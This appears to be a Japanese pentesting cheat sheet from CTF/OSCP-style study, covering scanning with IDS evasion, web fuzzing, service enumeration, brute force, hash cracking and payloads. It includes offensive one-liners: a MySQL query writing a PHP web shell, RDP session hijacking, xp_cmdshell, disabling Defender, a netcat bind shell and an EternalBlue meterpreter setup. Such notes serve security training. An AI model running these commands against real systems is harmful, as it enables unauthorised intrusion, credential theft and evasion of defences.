Pyenv

python3 -m venv venv
source venv/bin/activate

Enumeration

ネットワーク範囲内でホストの列挙

Nmap

nmap -sn 10.10.110.0/24

fping

fping -asgq 172.16.1.0/24

ホスト・OSベースの列挙

ping

ping -c 1 $Target_IP

Nmapシンプル

TCPスキャン

sudo nmap -v -sCV -T4 -p0-65535 -Pn $Target_IP

UDPスキャン

sudo nmap -sU -T4 -p0-65535 -Pn $Target_IP
sudo nmap -sU -T4 -Pn $Target_IP

Nmapセット

echo -e '\nexport Target_IP=""' >> ~/.bashrc
source ~/.bashrc

zshの場合はこれ

echo 'export Target_IP=""' >> ~/.zshrc
source ~/.zshrc

不安だったら、-T2とかに

sudo nmap -p0-65535 -T4 -Pn -v --open $Target_IP -oG open_ports.txt
ports=$(grep "Ports:" open_ports.txt | awk -F'Ports: ' '{print $2}' | tr ',' '\n' | awk -F'/' '{print $1}' | tr '\n' ',' | sed 's/,$//')
sudo nmap -sCV -A -Pn -p"$ports" -vv $Target_IP

Firewallとルールの確認

UDPスキャン

sudo nmap $Target_IP -p<空いてるポート> -sU -Pn -n --disable-arp-ping --packet-trace

TCP ACKスキャン : SYNスキャン (-sS) や Connectスキャン (-sT) と比べて、ブロックされにくい

sudo nmap $Target_IP -p<空いてるポート> -sA -Pn -n --disable-arp-ping --packet-trace

IPS/IDSの回避?(撹乱)

Decoy(デコイ)スキャン(-D)の利用

sudo nmap $Target_IP -p- -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5

ソースIPアドレス(-S)を手動で指定することもできる

sudo nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200
DNSプロキシによる回避
sudo nmap $Target_IP -p<空いてるポート> -sS -Pn -n -sV --disable-arp-ping --packet-trace --source-port 53

回避コマンドセット

UDP

sudo nmap $Target_IP -sU -Pn -n -vvv -A --disable-arp-ping --packet-trace -D RND:5 --source-port 53 -oA "scan_output" -T2 -F

TCP

sudo nmap $Target_IP -sA -Pn -sCV -vvv --n --disable-arp-ping --packet-trace -D RND:5 --source-port 53 -oA "scan_output" -T2 -F

ポートがわかったなら、これでも取得できる

snowyowl644@htb[/htb]$ ncat -nv --source-port 53 10.129.2.28 50000

Web系

Nikto

とりあえずNikto!!!! Microsoft IMSみたいな何もないようなサイトでもやる!!!!!

nikto -h http://

.DS_Store見つかったら

wget https://github.com/lijiejie/ds_store_exp/raw/refs/heads/master/ds_store_exp.py
pip install ds-store requests
python ds_store_exp.py http://10.13.38.11/.DS_Store

Feroxbuster

feroxbuster -u <http://TARGET>

Dirsearch

sudo apt install dirsearch -y
sudo dirsearch --url= --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --threads 30 --random-agent --format=simple

ffuf

サブドメインのファジング

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://<domain> -H "Host: FUZZ.<domain>" -mc 200

ちなみに、dnsゾーン転送が許可されている場合は、サブドメインが表示されることもある

dig axfr inlanefreight.local @10.129.229.147

以下の方法もある

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
     -u http://zynect.zishuieng.com/ \
     -H "Host: FUZZ.zishuieng.com" \
     -mc 200,301,302,403 \
     -t 5 \
     -p 0.2

ディレクトリのファジング

ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ

拡張子のファジング

ディレクトリファジングができた手もサイトの拡張子がわからない時があるので、拡張子をファジングする

ffuf -w /opt/useful/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://SERVER_IP:PORT/blog/indexFUZZ

ページのファジング

ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.<拡張子のファジングでわかった拡張子>

再帰的ファジング

feroxbusterみたいに、ディレクトリとフォルダをいっぺんにファジングできる

ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v
feroxbuster -u http://faculty.academy.htb:57022/ -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,phps,php7

VHOST(仮想ホスト)

仮想ホストとサブドメインの違い

ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb'

パラメータファジング

GETパラメータ

ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx

POSTパラメータ

ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx

スキャン結果が出たら、curlで確認する

curl http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=key' -H 'Content-Type: application/x-www-form-urlencoded'

値のファジング

辞書作り

for i in $(seq 1 1000); do echo $i >> ids.txt; done

ファジング

ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx

VHOSTの列挙

gobuster vhost -u http://$Target_IP -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

Whatweb

whatweb <http://...>
whatweb --no-errors 10.10.10.0/24

Scrapy

インストール

pip3 install scrapy
wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip
unzip ReconSpider.zip 
python3 ReconSpider.py http://

XSS

管理用のページと、管理用ページに何かしらする系→Stoerd XSSがあることありますよ
保存型XSSあるので、見逃さずに
過去の例

WAF回避の例

CTFでは関係ないけど、実務では関係あるrefleted XSS、DOM XSSの検出に使える

python3 -m venv venv
source venv/bin/activate
python xsstrike.py
python xsstrike.py -u "http://it.k2.thm/login?msg="

python xsstrike.py -u "http://it.k2.thm/dashboard" --data "title=test&description=test" --headers "Cookie: session=eyJhdXRoX3VzZXJuYW1lIjoiYWRtaW4iLCJpZCI6MiwibG9nZ2VkaW4iOnRydWV9.aF6veA.aKrd7cyseAM1NAkih0QM7l2rbbc"

SQL Injection

検出

レポート作成ツール

EyeWitness

ターゲットWebアプリケーションのスクリーンショットを撮り、指紋を取得し、可能なデフォルトの資格情報を識別するために使用できる

sudo apt install eyewitness
eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness

Aquatone

インストール

wget https://github.com/michenriksen/aquatone/releases/download/v1.7.0/aquatone_linux_amd64_1.7.0.zip
unzip aquatone_linux_amd64_1.7.0.zip 
cat web_discovery.xml | ./aquatone -nmap

サイトコンテンツ

robots.txt

Certificate Transparency Logs

curl -s "https://crt.sh/?q=facebook.com&output=json" | jq -r '.[] | select(.name_value | contains("dev")) | .name_value' | sort -u

WAFの確認

pip3 install git+https://github.com/EnableSecurity/wafw00f
wafw00f <ドメイン>

プロキシ

Metasploit

msfconsole
use auxiliary/scanner/http/robots_txt
set PROXIES HTTP:127.0.0.1:8080
set RHOST SERVER_IP
set RPORT PORT
run

Nmap

nmap --proxies http://127.0.0.1:8080 SERVER_IP -pPORT -Pn -sC

BurpSuite

OwaspZAP


プロトコル

SSH

構成チェック

git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit
./ssh-audit.py 10.129.14.132

パスワード認証を強制

ssh -v <ユーザー名>@$Target_IP -o PreferredAuthentications=password

Rsync

nc -nv $Target_IP 873
rsync -av --list-only rsync://127.0.0.1/dev
rsync -av rsync://$Target_IP/dev

R-Services

rlogin $Target_IP -l <username>
rwho
rusers -al $Target_IP

RDP

xfreerdp /u:<ユーザー名> /p:"<パスワード>" /v:$Target_IP /cert:ignore
xfreerdp /u: /p: /v: /cert:ignore /sec:rdp +sec-nla
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check
./rdp-sec-check.pl 10.129.201.248
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
net start sessionhijack

WinRM

evil-winrm -i TargetIP -u Cry0l1t3 -p P455w0rD!

upload・downloadコマンドで、ファイルを転送できる

WMI

/usr/share/doc/python3-impacket/examples/wmiexec.py Cry0l1t3:"P455w0rD!"@10.129.201.248 "hostname"

FTP

ftp -p $Target_IP
sudo nmap -sCV -A -Pn -p21 -vv $Target_IP --script "/usr/share/nmap/scripts/ftp*.nse"
openssl s_client -connect 10.129.14.136:21 -starttls ftp
hydra -L users.list -P passwords.list ftp://$Target_IP:21 -t 64
nmap -Pn -v -n -p<ポート> -b <user>:<pass>@<FTP_IP> <Target_IP>

Samba / SMB

smbclient -N -L //$Target_IP
smbmap   -H $Target_IP -u "" -p ""
smbclient //"$Target_IP"/SHARENAME -U USERNAME%PASSWORD
smbmap -H $Target_IP -u USERNAME -p 'PASSWORD' -s SHARENAME
nmap --script smb-os-discovery.nse -p445 $Target_IP
nmap --script=smb-vuln* -p139,445 $Target_IP
rpcclient -U "" -N $Target_IP

NFS

showmount -e $Target_IP
mkdir target-NFS
sudo mount -t nfs $Target_IP:/ ./target-NFS/ -o nolock

DNS

dig A  inlanefreight.htb
dig NS inlanefreight.htb
dig AXFR inlanefreight.htb @$Target_IP      # ゾーン転送試行
dnsenum --dnsserver $Target_IP --enum -f wordlist.txt inlanefreight.htb

SMTP

sudo nmap $Target_IP -sC -sV -p25
sudo nmap $Target_IP -p25 --script smtp-open-relay
swaks --from a@b --to c@d --server $Target_IP

IMAP / POP3

openssl s_client -connect $Target_IP:imaps
hydra -L users.txt -P passwords.txt imap://$Target_IP

クラウドメール (O365)

python3 o365spray.py --validate --domain <domain>
python3 o365spray.py --enum -U users.txt --domain <domain>
python3 o365spray.py --spray -U usersfound.txt -p 'Passw0rd!' --count 1 --lockout 1 --domain <domain>

SNMP

snmpwalk -v2c -c public $Target_IP
onesixtyone -c wordlist.txt $Target_IP
braa public@$Target_IP:.1.3.6.*

MySQL

mysql -u root -pP4SSw0rd -h $Target_IP
SELECT LOAD_FILE('/etc/passwd');
SELECT "<?php system($_GET[cmd]);?>" INTO OUTFILE '/var/www/html/shell.php';
show databases;          -- DB 一覧
show tables;             -- テーブル一覧
show columns from <tbl>; -- カラム

MSSQL

sudo nmap -p1433 --script ms-sql-* $Target_IP
mssqlclient.py Administrator@$Target_IP -windows-auth
enable_xp_cmdshell       # cmdshell 有効化
xp_cmdshell whoami
SELECT name,password_hash FROM master.sys.sql_logins;

Oracle TNS

./odat.py all -s $Target_IP
sqlplus scott/tiger@$Target_IP/XE
select name,password from sys.user$;

IPMI

sudo nmap -sU -p623 --script ipmi-version $Target_IP
use auxiliary/scanner/ipmi/ipmi_dumphashes
ipmitool -I lanplus -H $Target_IP -U <user> -P <pass> chassis power status

LDAP / Kerberos

ldapsearch -x -H ldap://$Target_IP -s base
ldapdomaindump ldap://$Target_IP --no-json -d <domain>
kerbrute userenum --dc $Target_IP -d <domain> users.txt
GetUserSPNs.py <domain>/<user>:<pass>@$Target_IP
GetNPUsers.py <domain>/ -no-pass -usersfile users.txt -dc-ip $Target_IP

IIS

curl -I http://$Target_IP | grep Server:
nmap -p80 --script http-iis-short-name-brute $Target_IP
curl -T shell.aspx http://$Target_IP/shell.aspx

脆弱性の探索

脆弱性スキャナー

セットアッププロセスが開始され、最大30分かかります

sudo apt-get install gvm && openvas
gvm-setup

OpenVas起動

gvm-start

https://< IP >:8080でアクセスできる

.Gitが見つかったら

git clone https://github.com/lijiejie/GitHack.git
cd GitHack
python GitHack.py http://www.openssl.org/.git/

XSS (Cross Site Script)

HTBやOSCPではXSSの脆弱性を使うことはないため、真っ先に除外する。
XSSは他のユーザーが引っかかる必要があるが、HTBやOSCPには対象が存在しない。

Searchsploit

複数の脆弱性を見つけたとき

.txtよりもコードが書かれた脆弱性を選ぶべき
迷った時は数字が後の方の方を選ぶべし
より最新で、上手くいく可能性が高いから

PoCをダウンロードしたい時

searchsploit -m <脆弱性の番号>

使い方だけ出力したい

| grep -i usage

Searchsploitだけで全てだと思わない。Google検索もする

検索キーワード : SoftwareName Version CVE

Windowsの有名な脆弱性

脆弱性 説明 条件
MS08-067 SMB の脆弱性に対して多くの Windows バージョンに緊急パッチが適用されたもの。Conficker や Stuxnet でも悪用され、Windows ホストへの侵入が非常に容易になる。 - SMB (445番ポート) が開放
- Windows XP / Server 2003 / 2008 などで未パッチ
Eternal Blue
MS17-010
MS17-010 として知られ、NSA から流出した Shadow Brokers のダンプに含まれていたエクスプロイト。SMB v1 の欠陥を突いてコード実行が可能。WannaCry や NotPetya などの攻撃で悪用された。 SMBv1 が有効
Windows 7 / Server 2008 R2 などで未パッチ- 無認証で攻撃可能
windows/smb/ms17_010_eternalblueがダメでもwindows/smb/ms17_010_psexecは行ける可能性ある
PrintNightmare Windows Print Spooler のリモートコード実行脆弱性。プリンタ ドライバのインストール経由で SYSTEM 権限を奪取可能。2021年に猛威を振るった。 - Print Spooler サービスが有効
- (多くの場合)低権限シェルまたは有効な資格情報が必要
BlueKeep CVE-2019-0708。RDP の特定チャネルの欠陥を突いてコード実行を行う。Windows 2000 ~ Server 2008 R2 まで広範囲に影響。 - RDP (3389番ポート) が開放
- Windows 7 / Server 2008 R2 などで未パッチ
Sigred CVE-2020-1350。DNS サーバー(通常はドメインコントローラ)の SIG レコード処理を悪用。成功するとドメイン管理者権限を得る可能性がある。 - Windows DNS サーバーが未パッチ- 外部から DNS レコードを注入可能または制御下に置ける環境
SeriousSam CVE-2021-36934。C:\Windows\system32\config のパーミッション不備により、非特権ユーザーでも SAM を読み取れる。Volume Shadow Copy 経由でダンプが可能。 - Windows 10 / Server 2019 など特定バージョンで未修正
- Volume Shadow Copy が有効- フォルダの実行許可設定ミス
Zerologon CVE-2020-1472。Netlogon RPC (MS-NRPC) の暗号化欠陥を突く。ドメインコントローラに対して総当たりが可能で、成功するとドメイン管理者権限まで奪取し得る。 - ドメインコントローラが未パッチ- MS-NRPC (Netlogon) にアクセス可能
- 攻撃成功でドメイン管理者権限取得の可能性

エクスプロイト

ステガノグラフィーツール

CTFでは、意味ありげな画像がポンと渡されて、何も情報がない場合、ステガノグラフィーのこともある。

ファイルの埋め込み

steghide embed -cf cvr.jpg -ef emb.txt

データの抽出:

steghide extract -sf stg.jpg

パスフレーズがかかってて、突破できない時

何が入ってるのかを確認する

sudo apt install stegcracker -y
sudo apt install steghide -y
sudo steghide info *.jpg

何も入力しないでEnterを押すことで突破できないか試す

sudo steghide extract -sf *.jpg

ヒントの確認
- 隠されたパスフレーズがファイルのメタデータや埋め込まれたコメントに含まれている場合がある。以下のコマンドでチェック

strings HackerAccessGranted.jpg
exiftool HackerAccessGranted.jpg

辞書攻撃

stegcracker HackerAccessGranted.jpg /path/to/wordlist.txt

文字の画像などでモザイクがかかってて複合したい時

git clone https://github.com/spipm/Depix.git
cd Depix
python3 depix.py -p <PATHTOIMAGE>/image.png -s
./images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o
<DESIREDPATH>/output.png

ファイル転送

デフォルトのパスワードリスト

admin:admin
admin:password
admin:<blank>
root:12345678
administrator:Password

デフォルトの資格情報チートシートをpipでインストールして、検索できる

pip3 install defaultcreds-cheat-sheet

検索するとき

creds search tomcat

パスワードリストを変異させる(Hashcat)

人がパスワードを設定するときに、複雑にしようとするが、その複雑にするプロセスには一貫した共通点がある
その共通点をトレースして、単純なパスワードを複雑化する
まず、ベースとするpassword.lstを用意する

cat password.list

下のルールをcustom.ruleに加えて、このルールに従って、password.lstを複雑化する

機能 説明
: 何もしない。
l すべての文字を小文字にしてください。
u すべての文字を大文字にしてください。
c 最初の文字を大文字にして、他の文字を小文字にします。
sXY XのすべてのインスタンスをYに置き換えます。
$! 最後に感嘆符を追加します。
例 : cutom.ruleの中身
snowyowl644@htb[/htb]$ cat custom.rule

:
c
so0
c so0
sa@
c sa@
c sa@ so0
$!
$! c
$! so0
$! sa@
$! c so0
$! c sa@
$! so0 sa@
$! c so0 sa@

custom.ruleをベースとなるpassword.lstに適用する

hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list

もちろん、事前に作成されたルールリストもある
最もよく使われるルール

CeWL
CeWLと呼ばれる別のツールを使用して、会社のWebサイトから潜在的な単語をスキャンし、別のリストに保存できる

cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist

ハッシュのクラック(john)

単純なハッシュ
hashes.txtに直す

echo "ハッシュ" > hashes.txt

シングルクラックモード

ハッシュの形式を指定して、johnを使って解析

john --format=sha256 hashes_to_crack.txt

ハッシュの形式が不明な場合

hashid -m 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163'

代表的なハッシュアルゴリズム↓

ID 暗号化ハッシュアルゴリズム
$1$ MD5
$2a$ Blowfish
$5$ SHA-256
$6$ SHA-512
$sha1$ SHA1crypt
$y$ Yescrypt
$gy$ Gost-yescrypt
$7$ Scrypt

ワードリストモード

john --wordlist=<wordlist_file> --rules <hash_file>

Incremental Mode

john --incremental <hash_file>

レインボーテーブル攻撃サイト

ブルートフォース

ユーザー名リストの自動拡張

ユーザー名リストは手動で作成することも可能だが、自動生成ツールを活用すれば効率的に一般的なユーザー名フォーマットを作成できる。

1. わかっているユーザーネームをファイルにまとめる

snowyowl644@htb[/htb]$ cat usernames.txt 
bwilliamson
benwilliamson
ben.willamson
willamson.ben
bburgerstien
bobburgerstien
bob.burgerstien
burgerstien.bob
jstevenson
jimstevenson
jim.stevenson
stevenson.jim

2. 自動リスト生成ツールの実行

Username Anarchy

  1. ツールをGitでクローン
sudo apt install ruby -y
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
  1. リストを使ってユーザー名を生成
./username-anarchy -i ../username.list > username_anarchy.list

名前を使って、ユーザー名を生成する

./username-anarchy Jane Smith > jane_smith_usernames.txt

→ 実際の名前リストを基に、一般的なユーザー名形式を自動的に作成

CUPP

sudo apt install cupp -y
```

cupp -i
grep -E '^.{6,}

- Hydraなどのブルートフォースツールと組み合わせて使う
```bash
hydra -L usernames.txt -P jane_filtered.txt IP -s PORT -f http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials"

辞書拡張

john --wordlist=password.list --rules=custom --stdout | sort -u > mut_password.list
hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list

ブルートフォースの実行

crackmapexec

crackmapexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist>

protoには、サービス名を指定する
winrmをブルートフォース

snowyowl644@htb[/htb]$ crackmapexec winrm 10.129.42.197 -u user.list -p password.list

WINRM       10.129.42.197   5985   NONE             [*] None (name:10.129.42.197) (domain:None)
WINRM       10.129.42.197   5985   NONE             [*] http://10.129.42.197:5985/wsman
WINRM       10.129.42.197   5985   NONE             [+] None\user:password (Pwn3d!)

hydra

また、単一のユーザー名・パスワードの場合は小文字の-l、-pを使う

hydra -L user.list -P pass.list ftp://$Target_IP -v

hydraオプションの基本

hydra [login_options] [password_options] [attack_options] [service_options]
l LOGIN``-L FILE ログインオプション:単一のユーザー名(-l)またはユーザー名のリスト(-L)を含むファイルを指定します。 hydra -l admin ...``hydra -L usernames.txt ...
-p PASS``-P FILE パスワードオプション:単一のパスワード(-p)またはパスワードのリストを含むファイル(-P)のいずれかを提供します。 hydra -p password123 ...``hydra -P passwords.txt ...
-t TASKS タスク:実行する並列タスク(スレッド)の数を定義し、攻撃を高速化する可能性があります。 hydra -t 4 ...
-f ファストモード:最初のログインが見つかったら、攻撃を停止します。 hydra -f ...
-s PORT ポート:ターゲットサービスにデフォルト以外のポートを指定します。 hydra -s 2222 ...
-v``-V 詳細な出力:試行と結果を含む、攻撃の進行状況に関する詳細情報を表示します。 hydra -v ...またはhydra -V ...(さらに冗長性のために)
service://server ターゲット:サービス(例:sshhttpftp)とターゲットサーバーのアドレスまたはホスト名を指定します。 hydra ssh://192.168.1.100
/OPT サービス固有のオプション:対象サービスに必要な追加オプションを提供します。 hydra http-get://example.com/login.php -m "POST:user=^USER^&pass=^PASS^"(HTTPフォームベースの認証用)
Hydra サービス別コマンド
サービス コマンド例
FTP hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100
SSH hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100
HTTP-GET/POST hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
SMTP hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com
POP3 hydra -l user@example.com -P /path/to/password_list.txt pop3://mail.server.com
IMAP hydra -l user@example.com -P /path/to/password_list.txt imap://mail.server.com
MySQL hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100
MSSQL hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100
VNC hydra -P /path/to/password_list.txt vnc://192.168.1.100
RDP hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100
辞書を作らなくてもこんな感じでもできる
hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 192.168.1.100 rdp
Basic認証に対するブルートフォース

辞書の取得

curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt

ブルートフォースの実行

hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81
カスタムログインフォームへのブルートフォース
「F=」と「S=」オプション

辞書の取得

curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt
curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt

実行

hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f IP -s 5000 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"

medusa

項目 Hydra Medusa
💡 特徴 柔軟でシンプルなコマンド構文。対応プロトコルが広い。 超高速&並列処理に強い。大量ターゲットの一括スキャンが得意。
🚀 速度 並列処理はあるが、Medusaより若干遅い 圧倒的に速い(数千スレッドでも安定)
🧠 学習コスト 初心者向け。わかりやすい構文。 やや複雑。オプションが多め
🛠️ 対応プロトコル 50以上対応(Webフォーム、SSH、RDPなど) Hydraに近いがやや少なめ(実用的には十分)
🔁 大量ホスト対応 スクリプトなどで対応可能 複数ホストを一括で簡単に処理できる(-H)
🌐 Webフォーム対応 http-post-formで高機能に対応 web-formモジュールもあるが柔軟性はHydraが上
📦 標準搭載 Kali, Parrotなどにプリインストール 同じく多くのペンテスト用OSに搭載済み
🔍 デバッグ・出力 Verboseログが細かくてわかりやすい ログはややシンプル。高速処理に特化
medusa [ターゲット関連オプション] [認証情報関連オプション] -M モジュール [モジュール固有オプション]
パラメータ 説明 使用例
-h or -H 単一のターゲット(-h)またはターゲットのリストファイル(-H)を指定 medusa -h 192.168.1.10 ... または medusa -H targets.txt ...
-u or -U 単一ユーザー名(-u)またはユーザーリストファイル(-U)を指定 medusa -u admin ... または medusa -U users.txt ...
-p or -P 単一パスワード(-p)またはパスワードリストファイル(-P)を指定 medusa -p password123 ... または medusa -P passwords.txt ...
-M 攻撃に使うモジュールを指定(例:ssh, ftp) medusa -M ssh ...
-m モジュール専用の追加オプション(ダブルクォートで囲む) **HTTPフォーム送信などに使う:**medusa -M http -m "POST /login ..."
-t 並列スレッド数(並列で試行できる数) medusa -t 4
-f or -F 成功時に停止(-f: 現在のホストのみ、-F: すべてのホストで停止) medusa -f ... または medusa -F ...
-n 非標準ポートを指定(例:2222など) medusa -n 2222
-v 詳細出力(最大6レベル) medusa -v 4

medusaのサービス別コマンド

モジュール名 サービス/プロトコル 説明 使用例
ftp FTP ファイル転送用プロトコルのログイン情報をブルートフォース medusa -M ftp -h 192.168.1.100 -u admin -P passwords.txt
http HTTP Webアプリのフォームログイン(GET/POST)をブルートフォース medusa -M http -h www.example.com -U users.txt -P passwords.txt -m DIR:/login.php -m FORM:username=^USER^&password=^PASS^
imap IMAP メールサーバーのIMAP認証に対して試行 medusa -M imap -h mail.example.com -U users.txt -P passwords.txt
mysql MySQL データベース(MySQL)の認証情報を試行 medusa -M mysql -h 192.168.1.100 -u root -P passwords.txt
pop3 POP3 メール取得プロトコルへのブルートフォース medusa -M pop3 -h mail.example.com -U users.txt -P passwords.txt
rdp RDP Windowsのリモートデスクトップログインをブルートフォース medusa -M rdp -h 192.168.1.100 -u admin -P passwords.txt
ssh SSH セキュアシェルへの認証を試行(ポピュラー)
svn Subversion バージョン管理ツールSVNの認証に対して攻撃 medusa -M svn -h 192.168.1.100 -u admin -P passwords.txt
telnet Telnet 古いリモート端末プロトコルへの試行 medusa -M telnet -h 192.168.1.100 -u admin -P passwords.txt
vnc VNC リモートデスクトップ(VNC)へのブルートフォース medusa -M vnc -h 192.168.1.100 -P passwords.txt
web-form Webログインフォーム HTTP POST を使うログインフォームへの攻撃 medusa -M web-form -h www.example.com -U users.txt -P passwords.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid"

有用なファイルの検索

エンコードされたファイルの検索

for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

SSHキーの検索

grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"

暗号化されたSSHの検索

cat /home/cry0l1t3/.ssh/SSH.private

SSH の秘密鍵 (SSH.private) を John the Ripper でクラックできる形式 (hash) に変換する
SSH.privateは、id_rsaに置き換えられる
出力を ssh.hash に保存。

ssh2john.py SSH.private > ssh.hash
cat ssh.hash 

SSHキーのクラック

john --wordlist=rockyou.txt ssh.hash

パスワード付きファイルのクラック

<tool> <file_to_crack> > file.hash
pdf2john server_doc.pdf > server_doc.hash
john server_doc.hash
john --wordlist=<wordlist.txt> server_doc.hash 

また、それぞれのファイルにあったjohnを見つけて使用することもできる
それぞれのツールにあったjohnを検索する

locate *2john*

Microsoft Office ドキュメントのクラッキング

office2john.py Protected.docx > protected-docx.hash
cat protected-docx.hash
john --wordlist=rockyou.txt protected-docx.hash
john protected-docx.hash --show

PDF のクラッキング

pdf2john.py PDF.pdf > pdf.hash
cat pdf.hash 
john --wordlist=rockyou.txt pdf.hash
john pdf.hash --show

複雑な形式

  1. まず自分の目的に合ったjohnのスクリプトを探して、johnが解析できる.johnの形に変換する
sudo find / -iname *2john* -type f 2>/dev/null
  1. johnでワードリストを指定して解析
sudo john --wordlist=/usr/share/wordlists/rockyou.txt 探したい.john

パスワード付き圧縮ファイルのクラック

zipファイルのクラック

zip2john ZIP.zip > zip.hash
cat zip.hash 
john --wordlist=rockyou.txt zip.hash
john zip.hash --show
john --wordlist=rockyou.txt zip.hash

gzipファイルのクラック

for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null| tar xz;done

bitlockerファイルのクラック

bitlocker2john -i Backup.vhd > backup.hashes
grep "bitlocker\$0" backup.hashes > backup.hash
cat backup.hash
hashcat -m 22100 backup.hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt -o backup.cracked
cat backup.cracked 

パスワードを解読すると、暗号化されたドライブを開く
BitLocker で暗号化された仮想ドライブをマウントする最も簡単な方法は、それを Windows システムに転送してマウントする


ペイロード

シェルの設置

リバースシェル

攻撃者側でポートを開いて待ち受けて、そこにターゲットがアクセスすることでシェルを取得する

PS C:\Users\htb-student> Set-MpPreference -DisableRealtimeMonitoring $true

バインドシェル

ターゲット側でポート開いて待ち受けて、そこに攻撃者がアクセスすることで、シェルを取得する
バインドシェルの方が防御されやすい

コマンド

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l <ターゲットのIP> 7777 > /tmp/f
nc -nv <ターゲットのIP> 7777

Webシェル

その他のペイロード生成ツール

MSFVenom & Metasploit-Framework Source MSFは、あらゆるペンテスターのツールキットのための非常に汎用性の高いツールです。これは、ホストを列挙し、ペイロードを生成し、パブリックエクスプロイトとカスタムエクスプロイトを利用し、ホストで一度エクスプロイト後のアクションを実行する方法として機能します。スイスアーミーナイフと考えてください。
Payloads All The Things ソース ここでは、ペイロード生成と一般的な方法論に関するさまざまなリソースとチートシートを見つけることができます。
Mythic C2 Framework ソース Mythic C2フレームワークは、独自のペイロード生成のためのコマンドおよび制御フレームワークおよびツールボックスとしてのMetasploitの代替オプションです。
Nishang Source Nishangは、Offensive PowerShellインプラントとスクリプトのフレームワークコレクションです。これには、どのペンテスターにも役立つ多くのユーティリティが含まれています。
Darkarmour Source Darkarmourは、Windowsホストに対して使用するために難読化されたバイナリを生成して利用するツールです。

Metasploit

なんか検索全体で、こんな感じで、grep で検索できるらしい

msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads

Moduleのタイプ

Targetsについて

Payloadについて

Metaploit内では、以下で、payloadとencordを行える

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp


msf6 exploit(windows/smb/ms17_010_eternalblue) > show encoders

Compatible Encoders
===================

   #  Name              Disclosure Date  Rank    Check  Description
   -  ----              ---------------  ----    -----  -----------
   0  generic/eicar                      manual  No     The EICAR Encoder
   1  generic/none                       manual  No     The "none" Encoder
   2  x64/xor                            manual  No     XOR Encoder
   3  x64/xor_dynamic                    manual  No     Dynamic key XOR Encoder
